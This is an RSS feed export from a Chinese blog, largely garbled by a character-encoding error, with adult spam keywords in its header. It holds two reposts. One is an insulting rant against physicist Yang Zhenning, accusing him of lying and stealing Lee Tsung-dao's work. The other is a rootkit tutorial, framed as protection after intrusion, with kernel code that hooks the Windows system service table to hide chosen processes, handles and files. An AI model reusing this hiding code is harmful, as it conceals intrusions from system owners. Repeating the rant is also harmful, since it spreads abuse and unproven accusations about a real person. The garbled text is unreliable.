??xml version="1.0" encoding="utf-8" standalone="yes"?>久久天天躁狠狠躁夜夜2020老熟妇,日韩亚洲国产综合久久久,AAA级久久久精品无码片http://www.shnenglu.com/saga/H出重点Q系l全面,不留死角zh-cnWed, 07 May 2025 17:11:39 GMTWed, 07 May 2025 17:11:39 GMT60[转蝲]清华学生怒批杨振宁:不忠不孝不仁不义http://www.shnenglu.com/saga/archive/2008/06/16/53397.htmlsaga.constantinesaga.constantineSun, 15 Jun 2008 17:12:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/16/53397.htmlhttp://www.shnenglu.com/saga/comments/53397.htmlhttp://www.shnenglu.com/saga/archive/2008/06/16/53397.html#Feedback15http://www.shnenglu.com/saga/comments/commentRss/53397.htmlhttp://www.shnenglu.com/saga/services/trackbacks/53397.html转之前我说几句:
1Q本文凤凰网审核通过 link:http://bbs.ifeng.com/viewthread.php?tid=3255187
2,   我也看杨振宁不爽Q这么说不犯法吧?br>aQ首先,他不要是自己爱国Q不爱国的事都做了就不要再说自己是流的中国的血了?br>bQ其ơ,选择是h自己的自由,你有权选择国Q有权选择不回国抗战。那么当然我们鄙视你Q骂你,XX你,也是我们的自由,你在国q么多年Q应该了解言q_吧?br>c)   再次Q既然你选择了美国,现在׃要回来。回来找骂啊。sb。还回来q什么?国Z把你当事了,回来扑ֿ感。上帝怎么没有在美国给你礼物啊?br>ȝQ毕竟是在写我自q博客Q就不怎么用恶心的词了QMQ你和现在的中国球有的一|骂谢亚龙的话Q,骂你不ؓq?br>我的自由a论完毕。下面请看正文:

清华学生怒批杨振宁:不忠不孝不仁不义
杨振宁自己对自己的评P很幸q地在每一个选择的关头作了对自己人生最有利的选择。他q样一语蔽之,掩盖了其a下之意,没有像邓E先、钱学森{h冒死回国Q是自己的幸q,因ؓq样才不会在国内艰苦的环境中早早q世Qؓ国付出毕生_֊而无法n受国家的富强所提供的优条件和上帝最后的C物?br>
关于杨振宁ؓ什么不回国Q杨先生的回{是Q在我之前的中国ʎ外求学Q都是学成即回国。可是当我拿到博士学位之Ӟ韩战爆发Q美国不允许理工U博士回国,因此滞留在美国。而ؓ什么加入美国国c?杨振宁的回答是因Z所持的中华民国护照在出国旅游签证时非常不方便,所以加入美国国c?br>
  杨振宁谎话连?br>
  杨振宁说Q?#8220;在我以前的一些中国留学生Q绝大部分都回来了的Q所以我到美国去的时候,当时想是去那儿学成归国。可是我在做博士后的时候,杜鲁门ȝ׃了一道命令,说是中国血l的人在国得了理工的博士学位,不可以回中国。所以我留在国了?#8221; 

在这里,我想说出心里觉得很不舒服的几句话Q很多当时出国留学的杰出学者,拿的都是博士学位Q他们也知道国不允总们回来,可是Q国家正遭遇苦难Q八q抗战、三q内战之后中国h民ƈ不能完完全全地站立在世界的东方,有一个国家作Z界的唯一怸Q不肯放弃在亚洲的势力存在,所以,当摆脱八国联军、摆脱帝国主义铁yR略的中华民族正有Z一l中华板块,而日本作为战败国在亚z已奄奄一息无法实现在亚洲的实力制衡之Ӟ巧妙插手朝鲜战争Q试囑֜与中国东北接壤的地方建立一个傀儡国Q同时牵制中国与日本Q也牵制了中国统一台湾的步伐?br>
也许此时Q作为掌握世界先q物理科学技术的尖U学Ӟ留在世界上最强的国家是一U?#8220;q运”有一整套U研环境让其攀M界科学高峎ͼ也有优越的环境,在杨振宁七八q后获得奖卛_拿到普林斯顿50万美元的q薪Q可是杨振宁有没有想刎ͼZ么美国在六十q代l他媲美国际巨星的待遇?Z么有同时赴美留学的钱学森与美国抗争一q零六个月,历经国的Y折直到周恩来用朝鲜战争的十名国战俘把他换回国?Z么同样博士学位的邓稼先不ֽ时禁止理工科博士回国的禁令一定要回国为国家完成原子弹研究的事业?没有q些掌握国际先进U研技术的学者回来ؓ国家打下国防U技、核工业的基Q中国现在有杨振宁得以n受的环境吗?

杨振宁回避ƈ忽略了之前同一批出国留学h员的贡献Q大大炫耀吹嘘自己在美的成,q׃一代科研h员走q种“有利于自׃h生的选择”。对于祖国的认同因ؓ国家的护照出国旅怸方便抛弃了Q他q有什么资格在q里宣扬自己的成,更细致入微的比较和自己合作过的科学家在自qU研成果中的投入Q媄李攉K是那U作?0Q的贡献Q一定要说自己有70Q功劳的那种人?br>
杨振宁贪婪无耻?

80q代?0q代初,国内q很IL时候,他不回国Q?1世纪中国大学都变富了Q待遇提高了Q他也老得不行了,他才惌v来自己很“爱国”Q自p液里“的是中国h的血”Q简直天大的W话Q?br>
Z抬高自己规范场的CQ把和自己合作的c_斯教授说成是所在的俄亥俄大学五十年来所有科学上的论文、无论、生物、数学、化学、还是其它物理学成就Q都没有c_斯教授和自己发表的这论文重要?br>
以此cLQ从来没有培育过奖获得者的清华大学Q这一癑֤q来所有科研方面的成就Q恐怕也没有杨振宁Q何一小文章的A献,所以,他选择80几岁后回国养老,让科研落后的中国见识一下国际大师Q也怪不得顶着国hq么大的质疑Q迎娶一位离婚在职研I生Q因Z他所作出的A献和人生抉择的成功判断,在Q何时候都要作出有利于自己的选择Q老年回国养老的杨振宁,不选择一位对自己q求不矣的年d人,q能作出什么体现其人生_明的判断和价值的呢?

杨振宁这U回遉K点的说法Q在L人挖?1q回国听到邓E先说原子弹是完全靠中国qI做出来的成果时Q杨振宁Z么落泪的原因Q是否因q国能作栯豪的成就Q而作为搞q一行、物理研I的尖U学Ӟ没有为国家尽一份力的遗憾?或是q项研究居然pq朋友、童q一h长一L学的邓稼先完成,而感到懊悔呢Q杨振宁的回{是很多U感情参杂在一P不是仅仅因ؓ一U原因才止不住落泪?br>
对于杨振宁这U和李政道争执了半个世纪的顶科学家Q他怎么会不在意国家关键性的U研成就有没有自q参与呢?可是作ؓ因ؓ旅游{证不方便就把自q国籍攑ּ的一位所谓美c华人,他来讲爱国,恐怕台独分子都要ȝQ试问台湾两千四百万同胞有多h因ؓ世界上只有二十个国家承诺中华民国Q而与世界上很多国家出现签证麻烦而放弃自q中华民国国籍Q杨振宁现在q用q个理由出来Ԍ是不是提醒国外留学h员,当你的中国护照不好用Q赶快换一本美国的吧,他爱国不爱?#8220;有利于自?#8221;才是优先考量?br>
清华在中国的历史上,虽然没有培养得诺贝奖的国际性科研专Ӟ可是为新中国的徏设,做出了扎实而不受政治风气媄响的奉献。无论在国家U学、工业、等各方面徏N域,都展现着一U勤勤恳恟뀁实事求是、中砥q作用。也怸国一路走来的国力Q还没有条g作出世界尖水^的科学研IӞ可是国家各方面发展特别是工科cȝ基础和成,清华培养出来的h代表一U风气、一U作风,q种风气和作风,是能够在各种政治风L和潮中Q依然把握国家徏讄实际工作Q哪怕在文革的环境中依然没有让国家的国防U研、基研究停滞或放弃,Z国社会民生的发展Q做出符合事理的U种实干与基本原则?br>
可是在今天清华园的这ơ访问中Q我觉得很多东西扭曲了。通过暧昧与一脸微W的王志Q他所惌又不敢直接讲的那些提问,通过杨振宁得意与自我炫耀的种U做法,通过一旁满与ƣ喜地参与录q帆Q我只能_中国攚w开攄C会观念冲击真的太大了,大到半个世纪前不一切回国奉献的老一辈科学家的牺牲都得重新定义与思考了。也讔R过q次的提问,杨振宁会回忆起当q他所做出的选择Q当q听到老朋友原子弹是中国h自己研究出来的事实那U震撹{可是今天他的选择、清华的选择、翁姐的选择、都不是那么一回事了?br>
更确切的定义是:q是一?0多岁q回国养老n受国家特D照儡伟大籍华hU学Ӟ他nҎ他晚q上帝所赐与的最后一个礼物,而这个礼物现在也属于国Q清华所做出的巨大投入是一对美c华人在中国的h值宣扬作全面背书。杨振宁对中国最大的价g现是其一生在M时候都做出对的选择──当然是对他自己。这个道理也同样适用于翁帆,一?8岁嫁l?2岁美c华人的q轻奛_。这恐怕是中国C会本年度最有社会h值判断的选择了。而今晚,杨振宁ؓq一价D定,作最完美的解释?br>
杨振宁的人格

一个h要想在这样一个清؜杂的C会里干q净净地走完自q一生,很不ҎQ若q能奉献全n心于自己的事业,且能取得伟大的成果,则更难?br>
中国两弹元勋邓稼先就是干q净净地走完了自己一生的人,他因此受Ch们的喜爱Q他又是一个将整个w心奉献于自q事业的hQ因此赢得h们的崇敬Q他更是一个成׃功伟l的人,因此使h们由衷地钦佩和敬仰?br>
扬振宁和邓稼先是同乡Q初中同学,西南联大同学Q一起坐船去国留学。后来两人有着完全不通的价值取向,C了完全不通的道\Q扬振宁留在国J华世界Q靠获得儿奖Q出风_晚年q不甘寂寞!邓稼先当q毅然回国,Z华民族的两弹一星做Z杰出的A献!可惜的是׃当年的科研试验条件有限,n防护条g陋,邓稼先由于核辐射q多Qn患癌症,英年早逝,实ؓ国家民族之大D!但历史不会忘讎ͼ人民不会忘记Q从历史和国家角度来_邓稼先必千古流芻I永垂不朽Q是他,永远的奠定了整个中华民族的战略安全和民族CQ不过多少q_所有炎黄子孙都崇敬他Q?br>
杨振宁ؓ中国作了什么A献?

杨振宁自׃ȝ_x惛_Q自己对于中国的贡献Q顶多也是自己和李攉K是华人第一ơ得奖Q从而改变了中国׃如h的心理。大家看看,q就是杨振宁对他?#8220;?#8221;的祖国的最大A献!

在一ơ爆炸失败后Q几个单位在推卸责Q。ؓ了找到真正的原因Q必L人到那颗原子弹被摔碎的地方去Q找回一些重要的部g。邓E先_“谁也别去Q我q去吧。你们去了也找不刎ͼ白受污染。我做的Q我知道?#8221;他一个h走进了那片地区,那片意味着M之地。他很快扑ֈ了核弹头Q用手捧着Q走了出来。最后证明是降落伞的问题。就是这一ơ,伏下了他M线之下的死因?br>
邓稼先有一ơ开会在西湖Q他拉着同仁?#8220;_ֿ报国”那四个古意盎然的字前照了一张相片。许鹿希_邓不q相,但这张照片是他自p照的。当初随邓稼先一h原子弹的U学Ӟ有些中途而退了。因?#8220;没有U研成果Q不能家庭团聚,不许亲友通信。作为知识分子和普通h的生zR乐、权益,是必ȝ牲掉的了?br>
杨振宁的不忠不孝不仁不义!

不忠Q杨振宁先生在祖国最困难的时候毅然加入美国籍Q父亲劝说也无效Q不肯归国效力。拿到诺奖的志得意满的杨因ؓC到长岛的房子耿耿于怀(最后还是屈居在教授Z了房?

不孝Q加入美国籍Qؓ此事杨的父亲到死也没有原谅他Q是Z孝?br>
不仁:在祖国富强时Q又在与某名牌大学的互相Ҏ炒作中,回国颐养天年Q自从回国以来,东走走、西逛逛,忙着走穴炒作Q不愿踏t实实做工作?br>
不义Q窃李政道的研究成果Q得奖Q还倚老卖老的名字写在李攉K的前边,q出书丑化李攉KQ杜夫h刚刚q世Q大一的基物理刚开课不到半个学期,׃心想着上帝的最后一个礼?..

x学位毕业7天,不顾国L毅然回国的邓E先Qؓ中国的国防核工业呕心沥血Q年?2虽因攑ְ性媄响n患癌症去世?br>
x同道的李攉K先生早年毅然回国Q从70q代P李政道教授ؓ中国的教育事业和U技术的发展做出了重大的贡献。ؓ了在中国发展高能物理和徏立高能加速器Q后来成为徏立北京正负电子对撞机(BEPCQ、北京谱仪和q行高能物理实验的骨qԌ1982q当我国高能物理事业举棋不定的关键时刻,他帮助我国选择了一个既先进又符合国情的BEPCҎQƈ成ؓ当今世界上在c-τ物理研究能区唯一的高亮度电子Ҏ机,q做Z重要的物理结果?br>
x刚刚q世的陈省n先生Q生zMP朴、出钱出力、培d子、呕心沥血Q一心祖国科学事业,真泰山北斗。n为科学家Q应当规范言行,树学ZhQ?br>
从一些以往的传记回忆中Q可以得样一个结论:杨在人品上不及李正道Q也不及大多数解攑ֈ回国的科学家。理由:从年龄上看,李比杨年轻而同时获奖,可以推知李更有创造力Q而杨此后却经常纠~于论文|名的事情,从中国社会传l可以知道,大概杨年长处于领导地位,而具体的事情大部分由李来完成Q很难想象李不干什么事却去抢年长又q许多事的杨的功劻IQ奥本v默也调和不了?/div>

saga.constantine 2008-06-16 01:12 发表评论
]]>
[转蝲]hook结 http://www.shnenglu.com/saga/archive/2008/06/10/52802.htmlsaga.constantinesaga.constantineTue, 10 Jun 2008 13:55:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/10/52802.htmlhttp://www.shnenglu.com/saga/comments/52802.htmlhttp://www.shnenglu.com/saga/archive/2008/06/10/52802.html#Feedback0http://www.shnenglu.com/saga/comments/commentRss/52802.htmlhttp://www.shnenglu.com/saga/services/trackbacks/52802.html
我们安全爱好者,都接触过RootkitQ它Ҏ们入侵后的保护提供了强大的支持。现今比较流行的Rootkit有HxdefQNtRootkit和AFX RootkitQ而且Hxdef和AFX Rootkitq提供了源代码,Ҏ们的学习提供了很大的方便。这些Rootkit都是使用HOOK技术实现的Q欺骗的是用P而不是操作系l。用HOOK开发Rootkit是比较简单的Q虽然现在也有很多其他的技术,但门槛都太高Q很多技术都需要硬~码Q对于我{菜鸟,实在是没有这么高q技术。而HOOK׃同了Q它开发简单,兼容性好Q而且它几乎是你在~程道\上的一必学技术,因ؓ太多地方需要HOOK了,使用HOOK开发Rootkit不过是其中的一个应用而已Q也是学习HOOK的一Ҏ较好的实跉|会。好了,q入正题Q本文涉及的内容虽然不深Q但也需要你有Windows~程以及驱动E序设计的基。另外,本文的所有内容均在Windows 2000 SP4下测试成功,如无Ҏ提示Q所以内定w是以Windows 2000 SP4、Intel x86为^Cl的?br>

一、序a


针对本文开发的RootkitQ我们常常把它称作Hook System Call、Sysem Service Call或System Service DispatchingQ更正规的说法是Hook Windowspȝ服务调用Q它是系l中的一个关键接口,提供了系l由用户态切换到内核态的功能。我们知道,一般处理器可以提供从Ring0到Ring3四种处理器模式,其中必须提供2U,是Ring0和Ring3。一些特D的处理器指令只能在内核模式执行Q一些高端内存也必须在内核模式下才能讉KQ可以通过内存映射的方法解冻I请参考其他文章,本文不做介绍Q。Windowspȝ是利用了这2个处理器模式Q将pȝ的关键组件保护v来,只有在内核模式才可以讉KQƈ提供了一个上层接口,供用L序访问,一切都是在MS的管理之下(悲哀啊!Q。下面是Windowx体系l构的简略图?br>

[-------------------Windowx体系l构---------------------]
pȝq程Q服务进E,应用E序Q环境子pȝ
应用E序~程接口QAPIQ?br>ZNTDLL.DLL的本地系l服?br>Q用h式)
---------------------------------------------------------------
Q内核模式)
pȝ服务调用QSSDTQ?br>执行体(ExecutiveQ?br>pȝ内核Q设备驱动(KernelQ?br>g抽象层(HALQ?br>

二、Windowspȝ服务调用


1.机制
Windows 2000的陷p度(Trap DispatchingQ机制包括了Q中断(InterruptQ,延迟q程调用QDeferred Procedure CallQ,异步q程调用QAsynchronous Procedure CallQ,异常调度QException DispatchingQ和pȝ服务调用QSystem Service CallQ。在Intel x86q_的Windows 2000使用int 0x2e指oq入Windowspȝ服务调用QWindows XP使用sysenter指o使系l陷入系l服务调用程序中Q而AMDq_的Windows XPpȝ使用syscall指oq入Windowspȝ服务调用。下面是Intel x86q_的Windows 2000的系l服务调用模型?br>

mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes


其中ServiceId是传递给pȝ服务调用E序的IDP内核使用q个IDh查找pȝ服务调度表(System Service Dispath TableQ中的对应系l服务信息。在pȝ服务调度表中Q每一w包含了一个指向具体的pȝ服务E序的指针,我们是需要HOOKq个指针Q其指向我们自定义的代码(E后会详qͼ。ParameterTable是传递的参数Q系l服务调用程序KiSystemService函数会严格检查传递的每一个参敎ͼq将其参CU程的用户内存中复制到系l的内存中,以便内核可以讉K。执行的int指o会导致陷阱发生,所以Windows 2000内的中断描述表(Interrupt Descriptor TableQ中?x2e指向了系l服务调用程序。最后的ParamTableBytes是返回的参数个数的信息?br>
其实Q系l服务调用也是一个接口,是面向Windows内核的接口。它实现了将用户模式下的h转发到内核模式下Qƈ引发了处理器模式的切换。在用户看来Q系l服务调用就是与Windows内核通信的一个桥梁?br>
2.cd
在Windows 2000中默认存在两个系l服务调度表Q它们对应了两类不同的系l服务。这两个pȝ服务调度表分别是QKeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe导出Q后者由Win32k.sys导出。在pȝ中,有三个DLL是最重要的:Kernel32.dll、User32.dll和Gdi32.dllQ这些DLL导出的函敎ͼ都是通过某种cd的中断进入内核态,然后调用ntoskrnl.exe或Win32k.sys中的函数。函数KeAddSystemServiceTable允许Win32.sys和其他设备驱动程序添加系l服务表。除了Win32k.sys服务表外Q用KeAddSystemServiceTabled的服务表会被同时复制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去?br>
●注Q由于本文的Rootkit只针对KeServiceDescriptorTableQKeServiceDescriptorTableShadow只会E微提及一些,不会详述。●

另外在提一下,NTDLL.DLL和ntoskrnl.exe的关pd“微妙”Q用h和内核态的调用也是有分别的Q比如:参数查。还有Native API导出?套函敎ͼZw***和Nt***Q要惛_底了解这些内容,推荐看Sunwear写的《浅析本机API》,我们的论坛原创版有这文?a target=_blank>http://www.eviloctal.com/forum/index.php?br>
lg所qͼKernel32.dll/Advapi32.dllq入NTDLL.DLL后,使用int 0x2e中断q入内核Q最后在ntoskrnl.exe中实C真正的函数调用;User32.dll和Gdi32.dll则在Win32k.sys中实C真正的函数调用?br>

三、HOOKpȝ服务


HOOKpȝ服务Q首先需要定位系l服务调度表Q这里需要一个未公开的ntoskrnl.exe导出单元KeServiceDescriptorTableQ它对应一个简单的数据l构Q用它完成对系l服务调度表的修攏V?br>

typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


ServiceTableBase指向pȝ服务E序的地址Q我们需要对它进行HOOKQɘq个地址指向我们的代码。ParamerterTableBase是参数列表的地址Q它们都包含了NumberOfServiceq么多个单元?br>
我们先用SoftICE分析一下系l服务调度表。用ntcall命o可以列出pȝ中的pȝ服务调度表,但不同的pȝQ不同的SP补丁Q系l服务调度表肯定是不会相同的Q因为MS随时都会修改此表。Ntcall命o的输出类DP

000A 0008:8049860A params=06 NtAdjustPrivilegesToken

000A是它的序P8049860A是其地址Qparams=06表示?个参敎ͼNtAdjustPrivilegesToken是函数名了Q对应的API是AdjustPrivilegesToken。Win32k.sys导出的系l服务调度表位于KeServiceDescriptorTable+50h处,ServiceID?000h开始,其结构基本和ntoskrnl.exe一栗我们具体看一下,׃SoftICE的输出非常多Q这里只节选一部分?br>

:dd KeServiceDescriptorTable l 4*4
//如果要查看Win32k.sysQ则使用dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……

8047F7E0为KeServiceDescriptorTable的地址Q?0471128为ServiceTableBase的地址Q?00000F8为NumberOfServiceQ?047150C为ParamerterTableBase?br>
:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……

80471128地址处ؓServiceID=0的系l服务入口地址。在来看一下参数列表?br>
:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


18 20 2C 2CQ这里的18表示参数个数Q即18h/4=6。根据上面的分析Q我们只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范围的数据就可以改变pȝ服务的执行流E;修改ServiceID可以改变这一个系l服务的入口地址Q我以ZwQuerySystemInformationZ说明一下?br>

:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010


使用ZwQuerySystemInformation的线性地址+1Q就可以定位ServiceIDQ即入口地址Q将q个地址指向我们的函敎ͼ大功告成了。首先需要将KeServiceDescriptorTable引入Q这h能操作系l服务调度表?br>
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


然后定义一个宏Q参数是需要HOOK函数的线性地址?br>
#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


_Function+1卛_定ServiceID的位|,卛_pȝ服务调度表中的入口地址。有了这个宏Q就可以“自由”的将地址指向“M”位置Q我以ZwQuerySystemInformationZq行演示。首先定义一个typedef函数指针Q用于保存原ZwQuerySystemInformation的地址?br>

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);



声明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定义HOOK函数?br>

NTSTATUS NewZwQuerySystemInformation (
……);


最后还差一个线性地址的函敎ͼq个函数需要遵循DDK函数的调用约定,它什么工作都不做Q只是帮助我们得到线性地址Q进而在pȝ服务调度表中扑ֈ入口地址?br>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);


万事具备Q只Ơ东风。用SYSCALL宏保存原函数地址Q然后指向新函数?br>

OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函数地址

_asm cli

(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函?br>
_asm sti


q原的时候只需OldZwQuerySystemInformation的地址指向ServiceTableBase卛_?br>

_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //q原

_asm sti


q样可以HOOK成功了。其实想惻I不过是用HOOK函数的线性地址定在系l服务调度表中的入口地址Q然后将q个入口地址指向新函数或旧函敎ͼ用SoftICE看看HOOK前后的系l服务调度表明白了?br>
下面的内容就是具体开发了Q包括隐藏进E,文g/目录Q端口,注册表,内核模块Q服?驱动Q用P需要说一下的是,隐藏服务/驱动Q用h用户态的HOOKQ在隐藏服务的章节中Q我会介l用h的HOOKQ其他都是在内核下完成的?br>

四、隐藏进E?br>

我们q_枚Dq程Q都是用HelpTool库、Psapi库中的函敎ͼq些函数最l会调用ZwQuerySystemInformation函数Q所以只要HOOKq个函数Q就可以隐藏q程QɾcMd理器这L工具不会发现隐藏的进E。HOOK的方法前边已l说q,所以这里只l出HOOK后函数的处理代码Q很好理解?br>
首先说说ZwQuerySystemInformation函数Q用它可以查询详细的系l信息,信息cd多达54U,我们在用h用的很多查询pȝ信息的APIQ其实最l都是调用的它。在q?4U查询类型中Q包含进E信息的?个,一个是信息cd?Q另一个则?6Q前者ؓpȝ的进E信息,后者ؓpȝ的句柄表Q其中包含进EID。这2个查询信息的Ҏ是不同的Q所以要分别HOOK。下面是ZwQuerySystemInformation函数的原型?br>
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //获取的系l信息类?br>IN OUT PVOID SystemInformation, //q回的信息指?br>IN ULONG SystemInforamtionLength, //长度
OUT PULONG ReturnLength OPTIONAL); //实际的缓冲区大小

如果SystemInformationClasss?Q那么SystemInformation会返回下面这个结构?br>
typedef struct system_porcess
{
ULONG NextEntryDelta; //q程偏移
ULONG ThreadCount; //U程?br>ULONG Reserved1[6]; //保留
LARGE_INTEGER CreateTime; //q程创徏旉
LARGE_INTEGER KernelTime; //内核占用旉
LARGE_INTEGER UserTime; //用户占用旉
UNICODE_STRING ProcessName; //q程?br>KPRIORITY BasePriority; //优先U?br>ULONG ProcessId; //q程ID
ULONG InheritedProcessId; //父进EID
ULONG HandleCount; //句柄?br>ULONG Reserved2[2]; //保留
VM_COUNTERS VmCounters; //VM信息
IO_COUNTERS IoCounters; //IO信息
SYSTEM_THREAD SystemThread[1]; //U程信息
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

如果SystemInformationClasss?6Q则q回下面q个l构?br>typedef struct system_handle_entry
{
ULONG ProcessId; //q程ID
UCHAR ObjectType; //句柄cd
UCHAR Flags; //标志
USHORT HandleValue; //句柄的数?br>PVOID ObjectPointer; //句柄所指向的内核对象地址
ACCESS_MASK GrantedAccess; //讉K权限
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

typedef struct system_handle_info
{
ULONG Count; //pȝ句柄?br>SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

对于信息c?Q我们需要改变NextEntryDeltal构成员Q它是进E列表的偏移地址。比如第一个进E信息在SystemInformation+0处,那么W二个信息就在SystemInformation+W一个NextEntryDelta处,依次cLQ最后一个进E信息的NextEntryDelta׃ؓ0了。也是_如果要隐藏第一个进E,向前移动缓冲区Q移动的长度是第一个进E信息结构的大小Q如果要隐藏中间的进E,则多加一个NextEntryDeltaQ就可以覆盖掉要隐藏的进E信息结构;如果要隐藏最后一个进E,NextEntryDelta讄?可以了?br>
对于信息c?6Q就没有什么偏Ud址了,而是一个完整的~冲区,我们要隐藏那个句柄,向前移动SYSTEM_HANDLE_ENTRYl构的大,覆盖掉要隐藏的数据?br>
NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//h原函?br>ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

//SystemInformationClass==16 枚Dpȝ句柄?br>if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//指向句柄表缓冲区
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //取得pȝ句柄?br>
for (n=0; n<Num; n++)
{
//比较句柄表中的进EID
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//向前Ud句柄表缓冲区
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //L?-
n--;
}
}
}

//SystemInformationClass==5 枚Dpȝq程
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//指向q程列表~冲?br>ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//Udq程偏移NextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}

ProcPrev=ProcCurr;
//下一q程
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}

……
return ntStatus;
}

HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS?个宏Q分别ؓ隐藏的进EID和进E名。下面介l隐藏文?目录?br>

五、隐藏文?目录


枚D文g使用ZwQueryDirectoryFile函数Q其原型如下Q?br>
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);

hFile为文件句柄,由ZwCrateFile或ZwOpenFile获得QFileInfoClass是一个不断变化的枚DcdQ但只有4个同文g/目录有关。FileInformationBuffer是返回的信息指针。我们要隐藏文g/目录Q就要处理这4个不同的枚DcdQ它们的数值分别是Q????2Q分别对?个不同的l构Q由于结构内Ҏ较长Q所以只介绍信息cMؓ12的内容,其他可以在光盘中的FileInfo.txt中找到。信息类?2q回的结果如下:

typedef struct file_name_info {
ULONG NextEntryOffset; //文g偏移
ULONG Unknown; //下一文g索引
ULONG FileNameLength; //文g长度
WCHAR FileName[1]; //文g?br>}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

隐藏文g/目录的方法和隐藏q程基本上一P如果没有文g/目录被找刎ͼ应该q回0x80000006?br>
NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//h原函?br>ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//指向文g列表~冲?br>FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //取偏U?br>FileNameLength=FileCurr->FileNameLength; //取长?br>RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//最后一个文?br>if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //隐藏
else
FilePrev->NextEntryOffset=0;
}
else
{
//Ud文g偏移
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}

//下一文g
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}

……
return ntStatus;
}

